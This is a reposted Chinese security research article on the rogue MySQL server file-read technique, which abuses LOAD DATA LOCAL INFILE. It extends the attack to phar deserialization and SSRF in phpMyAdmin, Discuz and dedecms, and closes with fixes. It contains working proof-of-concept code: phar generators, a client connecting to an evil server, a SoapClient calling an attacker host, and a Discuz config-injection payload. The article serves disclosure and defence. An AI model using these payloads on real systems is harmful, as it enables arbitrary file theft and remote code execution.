您好,登錄后才能下訂單哦!
作者:LoRexxar@知道創宇404實驗室 & Dawu@知道創宇404實驗室
原文地址: https://paper.seebug.org/1112/
英文版本: https://paper.seebug.org/1113/
這應該是一個很早以前就爆出來的漏洞,而我見到的時候是在TCTF2018 final線下賽的比賽中,是被 Dragon Sector 和 Cykor 用來非預期h5x0r's club這題的一個技巧。
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
在后來的研究中,和@Dawu的討論中頓時覺得這應該是一個很有趣的trick,在逐漸追溯這個漏洞的過去的過程中,我漸漸發現這個問題作為mysql的一份feature存在了很多年,從13年就有人分享這個問題。
在圍繞這個漏洞的挖掘過程中,我們不斷地發現新的利用方式,所以將其中大部分的發現都總結并準備了議題在CSS上分享,下面讓我們來一步步分析。
load data infile是一個很特別的語法,熟悉注入或者經常打CTF的朋友可能會對這個語法比較熟悉,在CTF中,我們經常能遇到沒辦法load_file讀取文件的情況,這時候唯一有可能讀到文件的就是load data infile,一般我們常用的語句是這樣的:
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
mysql server會讀取服務端的/etc/passwd然后將數據按照
'\n'
分割插入表中,但現在這個語句同樣要求你有FILE權限,以及非local加載的語句也受到
secure_file_priv
的限制
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
如果我們修改一下語句,加入一個關鍵字local。
mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; Query OK, 11 rows affected, 11 warnings (0.01 sec) Records: 11 Deleted: 0 Skipped: 0 Warnings: 11
加了local之后,這個語句就成了,讀取客戶端的文件發送到服務端,上面那個語句執行結果如下
很顯然,這個語句是不安全的,在mysql的文檔里也充分說明了這一點
https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
在mysql文檔中的說到, 服務端可以要求客戶端讀取有可讀權限的任何文件。
mysql認為 客戶端不應該連接到不可信的服務端。
我們今天的這個問題,就是圍繞這個基礎展開的。
在思考明白了前面的問題之后,核心問題就成了,我們怎么構造一個惡意的mysql服務端。
在搞清楚這個問題之前,我們需要研究一下mysql正常執行鏈接和查詢的數據包結構。
1、greeting包,服務端返回了banner,其中包含mysql的版本
2、客戶端登錄請求
3、然后是初始化查詢,這里因為是phpmyadmin所以初始化查詢比較多
4、load file local
由于我的環境在windows下,所以這里讀取為
C:/Windows/win.ini
,語句如下
load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';
首先是客戶端發送查詢
然后服務端返回了需要的路徑
然后客戶端直接把內容發送到了服務端
看起來流程非常清楚,而且客戶端讀取文件的路徑并不是從客戶端指定的,而是發送到服務端,服務端制定的。
原本的查詢流程為
客戶端:我要把win.ini插入test表中 服務端:我要你的win.ini內容 客戶端:win.ini的內容如下....
假設服務端由我們控制,把一個正常的流程篡改成如下
客戶端:我要test表中的數據 服務端:我要你的win.ini內容 客戶端:win.ini的內容如下???
上面的第三句究竟會不會執行呢?
讓我們回到 mysql的文檔中,文檔中有這么一句話:
服務端可以在任何查詢語句后回復文件傳輸請求,也就是說我們的想法是成立的
在深入研究漏洞的過程中,不難發現這個漏洞是否成立在于Mysql client端的配置問題,而經過一番研究,我發現在mysql登錄驗證的過程中,會發送客戶端的配置。
在greeting包之后,客戶端就會鏈接并試圖登錄,同時數據包中就有關于是否允許使用load data local的配置,可以從這里直白的看出來客戶端是否存在這個問題(這里返回的客戶端配置不一定是準確的,后面會提到這個問題)。
在想明白原理之后,構建惡意服務端就變得不那么難了,流程很簡單 1.回復mysql client一個greeting包 2.等待client端發送一個查詢包 3.回復一個file transfer包
這里主要是構造包格式的問題,可以跟著原文以及各種文檔完成上述的幾次查詢.
值得注意的是,原作者給出的poc并沒有適配所有的情況,部分mysql客戶端會在登陸成功之后發送ping包,如果沒有回復就會斷開連接。也有部分mysql client端對greeting包有較強的校驗,建議直接抓包按照真實包內容來構造。
原作者給出的poc
https://github.com/Gifts/Rogue-MySql-Server
這里用了一臺騰訊云做服務端,客戶端使用phpmyadmin連接
我們成功讀取了文件。
在這個漏洞到底有什么影響的時候,我們首先必須知道到底有什么樣的客戶端受到這個漏洞的威脅。
在深入挖掘這個漏洞的過程中,第一時間想到的利用方式就是mysql探針,但可惜的是,在測試了市面上的大部分探針后發現大部分的探針連接之后只接受了greeting包就斷開連接了,沒有任何查詢,盡職盡責。
國內
國際云服務商
之前的一篇文章中提到過,在Excel中一般有這樣一個功能,從數據庫中同步數據到表格內,這樣一來就可以通過上述方式讀取文件。
受到這個思路的啟發,我們想到可以找online的excel的這個功能,這樣就可以實現任意文件讀取了。
- Advanced CFO Solutions MySQL Query failed - SeekWell failed - Skyvia Query Gallery failed - database Borwser failed - Kloudio pwned
拋開我們前面提的一些很特殊的場景下,我們也要討論一些這個漏洞在通用場景下的利用攻擊鏈。
既然是圍繞任意文件讀取來討論,那么最能直接想到的一定是有關配置文件的泄露所導致的漏洞了。
在Discuz x3.4的配置中存在這樣兩個文件
config/config_ucenter.php config/config_global.php
在dz的后臺,有一個ucenter的設置功能,這個功能中提供了ucenter的數據庫服務器配置功能,通過配置數據庫鏈接惡意服務器,可以實現任意文件讀取獲取配置信息。
配置ucenter的訪問地址。
原地址: http://localhost:8086/upload/uc_server修改為: http://localhost:8086/upload/uc_server\');phpinfo();//
當我們獲得了authkey之后,我們可以通過admin的uid以及鹽來計算admin的cookie。然后用admin的cookie以及
UC_KEY
來訪問即可生效
2018年BlackHat大會上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper議題,原文 https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。
在該議題中提到,在PHP中存在一個叫做
Stream API,通過注冊拓展可以注冊相應的偽協議,而phar這個拓展就注冊了
phar://
這個stream wrapper。
在我們知道創宇404實驗室安全研究員seaii曾經的研究( https://paper.seebug.org/680/)中表示,所有的文件函數都支持stream wrapper。
深入到函數中,我們可以發現,可以支持steam wrapper的原因是調用了
stream = php_stream_open_wrapper_ex(filename, "rb" ....);
從這里,我們再回到mysql的load file local語句中,在mysqli中,mysql的讀文件是通過php的函數實現的
https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52 if (PG(open_basedir)) { if (php_check_open_basedir_ex(filename, 0) == -1) { strcpy(info->error_msg, "open_basedir restriction in effect. Unable to open file"); info->error_no = CR_UNKNOWN_ERROR; DBG_RETURN(1); } } info->filename = filename; info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);
也同樣調用了
php_stream_open_wrapper_ex
函數,也就是說,我們同樣可以通過讀取phar文件來觸發反序列化。
首先需要一個生成一個phar
pphar.php<?phpclass A { public $s = ''; public function __wakeup () { echo "pwned!!"; }}@unlink("phar.phar");$phar = new Phar("phar.phar"); //后綴名必須為phar$phar->startBuffering();$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //設置stub$o = new A();$phar->setMetadata($o); //將自定義的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要壓縮的文件//簽名自動計算$phar->stopBuffering();?>
使用該文件生成一個phar.phar
然后我們模擬一次查詢
test.php<?phpclass A { public $s = ''; public function __wakeup () { echo "pwned!!"; }}$m = mysqli_init();mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);$p = mysqli_query($m, 'select 1;');// file_get_contents('phar://./phar.phar');
圖中我們只做了select 1查詢,但我們偽造的evil mysql server中驅使mysql client去做
load file local
查詢,讀取了本地的
phar://./phar.phar
成功觸發反序列化
當一個反序列化漏洞出現的時候,我們就需要從源代碼中去尋找合適的pop鏈,建立在pop鏈的利用基礎上,我們可以進一步的擴大反序列化漏洞的危害。
php序列化中常見的魔術方法有以下 - 當對象被創建的時候調用: construct - 當對象被銷毀的時候調用:destruct - 當對象被當作一個字符串使用時候調用: toString - 序列化對象之前就調用此方法(其返回需要是一個數組):sleep - 反序列化恢復對象之前就調用此方法: wakeup - 當調用對象中不存在的方法會自動調用此方法:call
配合與之相應的pop鏈,我們就可以把反序列化轉化為RCE。
dedecms 后臺,模塊管理,安裝UCenter模塊。開始配置
首先需要找一個確定的UCenter服務端,可以通過找一個dz的站來做服務端。
然后就會觸發任意文件讀取,當然,如果讀取文件為phar,則會觸發反序列化。
我們需要先生成相應的phar
<?phpclass Control{ var $tpl; // $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa')); public $dsql; function __construct(){ $this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa')); } function __destruct() { unset($this->tpl); $this->dsql->Close(TRUE); }}@unlink("dedecms.phar");$phar = new Phar("dedecms.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub,增加gif文件頭$o = new Control();$phar->setMetadata($o); //將自定義meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要壓縮的文件//簽名自動計算$phar->stopBuffering();?>
然后我們可以直接通過前臺上傳頭像來傳文件,或者直接后臺也有文件上傳接口,然后將rogue mysql server來讀取這個文件
phar://./dedecms.phar/test.txt
監聽5555可以收到
ssrf進一步可以攻擊redis等拓展攻擊面,就不多說了。
CMS名 | 影響版本 | 是否存在mysql任意文件讀取 | 是否有可控的MySQL服務器設置 | 是否有可控的反序列化 | 是否可上傳phar | 補丁 |
---|---|---|---|---|---|---|
phpmyadmin | < 4.8.5 | 是 | 是 | 是 | 是 | 補丁 |
Dz | 未修復 | 是 | 是 | 否 | None | None |
drupal | None | 否(使用PDO) | 否(安裝) | 是 | 是 | None |
dedecms | None | 是 | 是(ucenter) | 是(ssrf) | 是 | None |
ecshop | None | 是 | 是 | 否 | 是 | None |
禪道 | None | 否(PDO) | 否 | None | None | None |
phpcms | None | 是 | 是 | 是(ssrf) | 是 | None |
帝國cms | None | 是 | 是 | 否 | None | None |
phpwind | None | 否(PDO) | 是 | None | None | None |
mediawiki | None | 是 | 否(后臺沒有修改mysql配置的方法) | 是 | 是 | None |
Z-Blog | None | 是 | 否(后臺沒有修改mysql配置的方法) | 是 | 是 | None |
對于大多數mysql的客戶端來說,load file local是一個無用的語句,他的使用場景大多是用于傳輸數據或者上傳數據等。對于客戶端來說,可以直接關閉這個功能,并不會影響到正常的使用。
具體的關閉方式見文檔 - https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
對于不同服務端來說,這個配置都有不同的關法,對于JDBC來說,這個配置叫做
allowLoadLocalInfile
在php的mysqli和mysql兩種鏈接方式中,底層代碼直接決定了這個配置。
這個配置是
PHP_INI_SYSTEM
,在php的文檔中,這個配置意味著
Entry can be set in php.ini or httpd.conf
。
所以只有在php.ini中修改
mysqli.allow_local_infile = Off
就可以修復了。
在php7.3.4的更新中,mysqli中這個配置也被默認修改為關閉
https://github.com/php/php-src/commit/2eaabf06fc5a62104ecb597830b2852d71b0a111#diff-904fc143c31bb7dba64d1f37ce14a0f5
可惜在不再更新的舊版本mysql5.6中,無論是mysql還是mysqli默認都為開啟狀態。
現在的代碼中也可以通過
mysqli_option
,在鏈接前配置這個選項。
http://php.net/manual/zh/mysqli.options.php
比較有趣的是,通過這種方式修復,雖然禁用了
allow_local_infile
,但是如果使用wireshark抓包卻發現
allow_local_infile
仍是啟動的(但是無效)。
在舊版本的phpmyadmin中,先執行了
mysqli_real_connect
,然后設置
mysql_option
,這樣一來
allow_local_infile
實際上被禁用了,但是在發起鏈接請求時中
allow_local_infile
還沒有被禁用。
實際上是因為
mysqli_real_connect
在執行的時候,會初始化
allow_local_infile
。在php代碼底層
mysqli_real_connect
實際是執行了
mysqli_common_connect
。而在
mysqli_common_connect
的代碼中,設置了一次
allow_local_infile
。
https://github.com/php/php-src/blob/ca8e2abb8e21b65a762815504d1fb3f20b7b45bc/ext/mysqli/mysqli_nonapi.c#L251
如果在
mysqli_real_connect
之前設置
mysql_option
,其
allow_local_infile
的配置會被覆蓋重寫,其修改就會無效。
phpmyadmin在1月22日也正是通過交換兩個函數的相對位置來修復了該漏洞。 https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f
這是一個針對mysql feature的攻擊模式,思路非常有趣,就目前而言在mysql層面沒法修復,只有在客戶端關閉了這個配置才能避免印象。雖然作為攻擊面并不是很廣泛,但可能針對一些特殊場景的時候,可以特別有效的將一個正常的功能轉化為任意文件讀取,在拓展攻擊面上非常的有效。
詳細的攻擊場景這里就不做假設了,危害還是比較大的。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。